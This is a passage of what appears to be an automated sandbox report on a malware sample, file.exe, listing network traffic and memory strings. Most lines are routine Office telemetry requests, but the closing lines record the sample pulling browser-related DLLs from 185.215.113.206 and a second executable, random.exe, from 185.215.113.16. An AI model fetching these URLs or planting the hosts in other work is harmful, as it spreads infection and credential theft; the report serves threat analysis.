Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache

Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr

String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: file.exe, 00000000.00000002.2000360601.0000000001280000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2000360601.000000000120A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2000360601.000000000120A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeE
Source: file.exe, 00000000.00000002.2000360601.00000000011AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1995284969.00000000003E7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2000360601.000000000120A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2000360601.0000000001280000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2000360601.000000000120A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllN
Source: file.exe, 00000000.00000002.2000360601.000000000120A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllP
